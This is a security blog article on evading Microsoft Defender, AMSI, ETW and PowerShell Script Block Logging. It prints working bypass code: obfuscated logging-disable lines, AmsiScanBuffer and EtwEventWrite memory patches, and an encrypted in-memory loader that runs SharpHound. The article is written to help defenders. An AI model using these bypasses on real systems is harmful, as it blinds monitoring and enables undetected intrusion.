Outsmarting the Watchdog - An Exploration of AV Evasion Techniques

Outsmarting the Watchdog

An Exploration of AV Evasion Techniques

Marius Elmiger
by Marius Elmiger
on April 13, 2023
time to read: 18 minutes

Keypoints

Outsmarting Antivirus with Evasion Techniques

  • Antivirus (AV) software is designed to detect and prevent malicious software from infecting a computer system
  • Malware authors or Red Teams use various techniques to evade detection by AV software
  • AMSI (Antimalware Scan Interface) is a Windows feature that allows AV software to inspect scripts before execution. It can be evaded by using obfuscation or encryption techniques
  • ETW (Event Tracing for Windows) is a logging mechanism that can detect suspicious activities. It can be evaded by modifying the code to avoid generating log entries or disabling logging altogether
  • PowerShell Script Block logging logs PowerShell commands and scripts. It can be evaded by using techniques such as obfuscation, encryption, or using commands that do not generate logs
  • Malware authors or Red Teams use various techniques to evade detection and compromise systems

One of the first and most well-known layers of defence on a Windows Operating System is the Antivirus (AV). In the past, many AV products mainly relied on signature-based checks; AV circumvention was relatively simple. Nowadays, modern AVs use advanced layered malware detection techniques to be more robust in analysing malicious files. Furthermore, to detect malicious activities on Windows systems, mechanisms such as Powershell Script Block Logging, Antimalware Scripting Interface (AMSI), and Event Tracing for Windows (ETW) provide additional visibility into suspicious behaviour and can help in identifying threats that may have bypassed traditional AV protection.

This article explores a range of techniques an attacker could utilize to avoid detection while leveraging PowerShell during an engagement. Gaining insight into these potential evasion methods and their functionality can assist defenders in understanding the constraints of monitoring PowerShell and consequently strengthening their defenses. Although the presented evasion techniques are not novel, and therefore, a modern Endpoint Detection and Response (EDR) solution may flag the techniques as malicious.

AV Evasion Techniques

AV Evasion techniques are often divided into two main categories: Static and dynamic. Applying static evasion has the goal to modify content in the malware file so that the hash or checksum is changed to make it less likely to be identified by AV’s signature-based detection. Signature-based detection can be circumvented by try-and-error or a systematic approach. Latest requires reverse engineering of the virus definition files to understand how a particular AV detects malicious patterns. Dynamic evasion uses different techniques to avoid detection depending on how the malware is run. An example is modern AV’s which are detonating files in sandboxes to analyse the behaviour dynamically. Dynamic AV evasion techniques address such detection methods by hiding or not executing the payload in a sandbox. The following AV evasion techniques are often used:

  1. Manual Binary Editing: Also known as divide and conquer by splitting files into multiple chunks to identify which part of the file needs to be changed to evade AV. This evasion method works well for simple signature-based detection or pattern matching.
  2. Obfuscation: Used to prevent mainly signature-based detection methods to detect malware by applying various techniques like adding garbage commands, unnecessary jumps, format alternation, variable renaming, rearrange functions, replace statements with similar functionality, encoding, reverse arrays etc.
  3. Encryption: To hide, randomize or obfuscate the malicious payload, malware can use simple encryption algorithms like XOR or more complex ones such as AES. When running the malware, the payload is getting decrypted in memory and executed. The key is either stored in the code or even brute-forced by the malware. Malware using encryption can be detected even before run-time because of the used algorithm or the key in the code. Oligomorphic and Polymorphic techniques are using encryption extensively to hide its code.
  4. Metamorphism: Metamorphic malware is more difficult to detect by AV because it uses a mutation engine to change its entire code during the version propagation and has no similarity to the original one. This makes it more difficult to detect and requires a modern AV with heuristic and behavioural analysis. A simplified way to describe the difference between polymorphic and metamorphic malware is: “Polymorphic malware is a leopard that changes its spots; metamorphic malware is a tiger that becomes a lion” (Crane, C. 2021. Polymorphic Malware and Metamorphic Malware: What You Need to Know).
  5. Code/Process Injection: Attackers can inject malicious code into legitimate processes running on a target system to evade detection. This can be achieved through techniques such as DLL injection, reflective DLL injection, and process hollowing.

Windows Defensive Capabilities

Beside the AV, Defenders can leverage several Windows security features to monitor and detect potential security threats on their systems.

By leveraging these Windows security features, defenders can monitor their systems for potential security threats and quickly identify and respond to any suspicious activity. AMSI, PowerShell Script Block Logging, and ETW provide defenders with powerful tools to monitor scripts and system events, detect suspicious activity, and investigate security incidents efficiently.

Evasion Techniques Exploration

For this article, we created a simple testing methodology, an AV evasion PowerShell script, and a small lab environment. The AV evasion strategies aimed to circumvent Microsoft Defender AV, ETW and PowerShell Script Block Logging on a Windows 10 22H2, both with and without an internet connection. We initially tested the AV evasion techniques on a machine without an internet connection. Once we gained confidence in successfully bypassing the defensive mechanisms, the tests were repeted on the machine with the Internet connection. At the beginning of the tests, the Automatic sample submission should be disabled under the Defender AV menu, to avoid that the POC is blocked after the first try.

The following figure shows what high-level steps the script PlansRunner.ps1 will sequentially execute.

AV evasion methodology overview

The PoC code can be found on GitHub.

Step 1 – Set The Stage

The script should be started with the decryption password parameter (arg1), either with:

Import-Module .\PlansRunner.ps1 | Update-AVSignature -arg1 <password>

or if PowerShell execution policy is set to restricted as example with:

Get-Content .\PlansRunner.ps1 | out-string | iex
Update-AVSignature -arg1 <password>

If the PowerShell Script Block Logging feature is enabled, the execution of this script is recorded under the Microsoft-Windows-PowerShell/Operational Eventlog. Further, AMSI could block some of the code. Therefore obfuscation techniques had to be used at this stage. The first obfuscation measure was to hide the code in the PlansRunner.ps1 among commented-out PowerShell Script Block entries from a valid MSFT Defender Script Block Logging entry.

Hidding the code

Second, the Script Block Logging disable part had to be obfuscated by modifying byte strings and the code structure to bypass signature-based and AMSI detection.

[Ref].Assembly."G`etType"("S`ystem.Management.Automation.ScriptBlock")."GetFie`ld"("signatures","NonPub"+"lic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]')); $Logging = [Ref].Assembly."G`etType"("System.Management.Automation.Utils")."GetFie`ld"("cachedGroupPolicySettings","NonPu"+"blic,Static").GetValue($null);$location = 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLo'+'gging';$value1 = "ScriptBlockLo'+'gging";$value2 = "EnableScri'+'ptBlockInvoca'+'tionLogging";$Logging[$location] = @{};$Logging[$location].Add($value1,"0");$Logging[$location].Add($value2,"0");

The above code sets the signatures variable to an empty hashset and the cached value of EnableScriptBlockLogging and EnableScriptBlockInvocationLogging held by PowerShell to disable the logging no matter the currently applied Group Policy settings. After this command is executed, no PowerShell commands in the current PowerShell process will be recorded under the Microsoft-Windows-PowerShell/Operational Eventlog. This technique was adapted from Adam Chester blog post Exploring PowerShell AMSI and Logging Evasion.

After the deactivation of the PowerShell Script Block Logging feature, the data.txt is read and the first script block is decrypted.

$content = Get-Content -Path "data.txt" -Raw;$strings = $content -split ";";foreach ($string in $strings) {$data = [Convert]::FromBase64String($string);$data = ModelWrapper $arg1 $data;$data = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String([System.Text.Encoding]::UTF8.GetString($data)));iex $data}

The above code reads the content of the file data.txt as a single string and stores it in the $content variable. The content is then split into multiple junks using the semicolon as a delimiter. The code then enters a loop and iterates through each of the strings. Finally, the ModelWrapper, a minimal RC4 cypher stream function, decrypts the string and executes the resulting code as PowerShell script.

To detect the mentioned evasion techniques, EnableScriptBlockLogging and EnableScriptBlockInvocationLogging string alteration should be monitored. In the script, no suspicious strings were used. PowerShell Script Block Logging, therefore, flags the PowerShell script with the level Verbose under the Microsoft-Windows-PowerShell/Operational Eventlog. PowerShell Enhanced Logging could be activated in addition to the PowerShell Script Block Logging. But also this logging technique can be bypassed as described in the following PowerShell Enhanced Logging Capabilities Bypass blog post from Jann Lemm.

Event Viewer results in Step 1

Step 2 – Script Block Logging Verification Step

This step verifies if Script Block Logging is disabled

write-host " ";write-host "SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4";write-host " ";$log = Get-WinEvent -filterhashtable @{logname="Microsoft-Windows-PowerShell/Operational";id=4104} -erroraction 'silentlycontinue' | Where {$_.Message -like "*SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4*"};if($log){ exit; }

The code starts write-host commands that print an encoded string. It then queries the Windows event logs under Microsoft-Windows-PowerShell/Operational and searches for an event with a message containing the encoded string SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4. If the event is found, the script exits. Adam Chester used this technique in his blog post that was mentioned above.

Step 3 – Disable AMSI and PowerShell ETW Logging

In this step, the script disables the AMSI functionality and the PowerShell ETW Logging. As a replacement for the actual heavily obfuscated code in the script, the following unobfuscated code is used to explain the code.

$libPath = "kernelbase.dll"
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class Syscalls {
    [DllImport("$libpath", SetLastError = true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("$libpath", SetLastError = true)]
    public static extern IntPtr LoadLibrary(string libPath);

    [DllImport("$libpath", SetLastError = true)]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

$amsiScanBufferAddress = [Syscalls]::GetProcAddress([Syscalls]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
[Syscalls]::VirtualProtect($amsiScanBufferAddress, [UIntPtr]::new(0x5), 0x40, [Ref]0)
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [UInt32]0x80, [UInt32]0xC3), 0, $amsiScanBufferAddress, 6)

$LogProvider = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider")
$Provider = $LogProvider.GetField("etwProvider", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).GetValue($null)
[System.Diagnostics.Eventing.EventProvider].GetField("m_eventProviderEnabled", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).SetValue($Provider, 0)

The code modifies the behaviour of the AmsiScanBuffer function in the amsi.dll library by patching its instructions with new code. This is achieved by using memory manipulation techniques. The end result is that any call to AmsiScanBuffer from the current PowerShell Session (or any other application that uses the amsi.dll library) will always return success, thereby bypassing any malware scanning that AMSI might perform. The technique was presented by Tal Lieberman during his Blackhat talk The Rise and Fall of AMSI. The second part of the code disables the ETW logging in PowerShell by retrieving the ETW provider instance associated with the PowerShell log provider and setting the m_enabled field to 0. This effectively disables the PowerShell ETW logging. The Microsoft-Windows-DotNETRuntime ETW provider still logs events from .NET applications.

Step 4 – Execution

The last code block verifies if any AMSI error was logged from the previous actions. The script ends if an event in the Microsoft-Windows-PowerShell/Operational is found. The additional part of this step is the execution of the three encrypted PE files (readme{1-3}.txt) and one encrypted PowerShell file (readme4.txt), the actual reason for the previous evasion techniques.

# Run S h a r p h o u n d
$application = "$($env:USERPROFILE)\Documents\readme2.txt"
$encryptedData = [System.IO.File]::ReadAllBytes($application)
$OutputString = ModelWrapper $arg1 $encryptedData
$command = "-d test.domain.ch -c DCOnly"
$app = "Sharphound.Program"
$method = "Main"
$Assembly = [Reflection.Assembly]::Load($OutputString)
$Assembly.GetType($app).GetMethod($method).Invoke($Null, @(,$command.Split(" ")))

The readme files are, like the above described instruction files, RC4 encrypted. The function ModelWrapper from the PlansRunner.ps1 script decrypts the readme files and stores the content in the $OutputString variable. The script then loads the output string as an assembly using the reflection assembly class and loads the specified method for the PE. Finally, the script invokes the defined method and passes a command-line argument. For the test, the following PE and PowerShell file were successfully executed on an offline and an online Windows 10 22H2 client with an up-to-date Defender AV signature:

readme1.txt (etw.exe): The etw.exe disables the Microsoft-Windows-DotNETRuntime ETW provider in the current PowerShell Session.

using System;
using System.Runtime.InteropServices;
namespace Etw
{
    public class Program
    {
        [DllImport("kernel32")]
        private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        private static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        public static void PatchEtw()
        {
            IntPtr hNtdll = LoadLibrary("ntdll.dll");
            IntPtr pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
            byte[] patch = { 0xc3 };
            _ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
            Marshal.Copy(patch, 0, pEtwEventWrite, patch.Length);
            _ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, oldProtect, out uint _);
            Console.WriteLine("ETW patched");
        }
        public static void Main(string[] args)
        {
            PatchEtw();
        }
    }
}

The C# console application first loads the ntdll.dll library and gets the address of the EtwEventWrite function using GetProcAddress. It then replaces the function’s first byte with a ret instruction 0xc3, effectively disabling the Microsoft-Windows-DotNETRuntime ETW event logging. The technique was adapted from the following blog posts Maelstrom: Working with AMSI and ETW for Red and Blue and Hiding Your .NET ETW.

To verify if Microsoft-Windows-DotNETRuntime ETW was successfully disabled, the Tool Silketw from Mandiant was used.

DotNET ETW provider active and bypassed

{"ProviderGuid":"e13c0d23-ccbc-4e12-931b-d9cc2eee27e4","YaraMatch":[],"ProviderName":"Microsoft-Windows-DotNETRuntime","EventName":"Loader/DomainModuleLoad","Opcode":45,"OpcodeName":"DomainModuleLoad","TimeStamp":"2023-03-31T13:21:32.7172447+02:00","ThreadID":7532,"ProcessID":5236,"ProcessName":"powershell","PointerSize":8,"EventDataLength":44,"XmlEventData":{"ModuleID":"140’711’887’353’144","Reserved1":"0","ModuleNativePath":"","AppDomainID":"2’020’932’991’376","ActivityID":"48b6074463110001acefd3481163d901","FormattedMessage":"ModuleID=140’711’887’353’144;\r\nAssemblyID=2’021’372’324’352;\r\nAppDomainID=2’020’932’991’376;\r\nModuleFlags=Manifest;\r\nModuleILPath=0;ModuleNativePath=etw;\r\nClrInstanceID= ","MSec":"3382.9995","ModuleFlags":"Manifest","AssemblyID":"2’021’372’324’352","PID":"5236","ModuleILPath":"etw","TID":"7532","ProviderName":"Microsoft-Windows-DotNETRuntime","PName":"","ClrInstanceID":"37","EventName":"Loader/DomainModuleLoad"}}

The above log entry was the last entry the Microsoft-Windows-DotNETRuntime ETW provider recorded. Other DotNet applications executed after the execution of the etw.exe are no longer logged by the Windows-DotNETRuntime ETW provider.

readme2.txt (sharphound.exe): SharpHound is the official data collector for BloodHound. It is written in C# and uses native Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems. @_wald0, @CptJesus, and @harmj0y are the primary authors of this implementation. SharpHound was compiled from the following repository SharpHound. For this test no obfuscation was applied to the solution.

readme3.txt (seatbelt.exe): Seatbelt is a C# project that performs a number of security oriented host-survey safety checks relevant from both offensive and defensive security perspectives. @harmj0y and @tifkin are the primary authors of this implementation. Seatbelt was compiled from the following repository Seatbelt. For this test no obfuscation was applied to the solution.

readme4.txt (PrivescCheck.ps1): PrivescCheck aims to enumerate common Windows configuration issues that can be leveraged for local privilege escalation. It also gathers various information that might be useful for exploitation. The script is from @itm4n. PrivescCheck was cloned from the following repository PrivescCheck. PrivescCheck.ps1 was created with the Build.ps1 script. Which is obfuscating the commands. Although it is flagged as malware by Microsoft Defender if executed without AMSI bypass.

Conclusion

In conclusion, this article has highlighted several techniques attackers can use to evade detection using PowerShell. While these techniques may not be new, and a good EDR should flag them as malicious, it is still essential for defenders to understand and test their defensive capabilities against them. Furthermore, by knowing the possible bypass techniques and how they work, defenders can gain a better understanding of the limitations of their detection and prevention capabilities and take appropriate measures to improve their defences.

The proof-of-concept script in this article showcased an array of evasion techniques, which can be enhanced, expanded, or adapted into different programming languages. However, for evading beside an AV also an EDR system like Microsoft Defender for Endpoint, with its dedicated DefenderApiLogger ETW provider, requires more sophisticated evasion techniques. It is important to remember that the primary objective of bypassing security measures should not be limited to executing malicious code successfully but also to elude detection.

As threats continue to evolve and become more sophisticated, staying up to date and continuously improving defensive strategies is crucial in the ongoing fight against IT security threats. Defenders should remain vigilant, regularly test their defences, and take proactive measures to prevent and mitigate the impact of potential attacks, such as against the techniques described in this article.

Recommended Further Reading

About the Author

Marius Elmiger

Marius Elmiger is a security professional since the early 2000’s. He worked in various IT roles such as an administrator, engineer, architect, and consultant. His main activities included the implementation of complex IT infrastructure projects, implementation of security hardening concepts, and compromise recoveries. Later he transitioned to the offensive side. As a foundation, in addition to numerous IT certificates, Marius graduated with an MSc in Advanced Security & Digital Forensics at Edinburgh Napier University. (ORCID 0000-0002-2580-5636)

Links

You want to bring your logging and monitoring to the next level?

Our experts will get in contact with you!

×
Microsoft Cloud Access Tokens

Microsoft Cloud Access Tokens

Marius Elmiger

Foreign Entra Workload Identities

Foreign Entra Workload Identities

Marius Elmiger

Credential Tiering

Credential Tiering

Marius Elmiger

Credential Tiering

Credential Tiering

Marius Elmiger

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here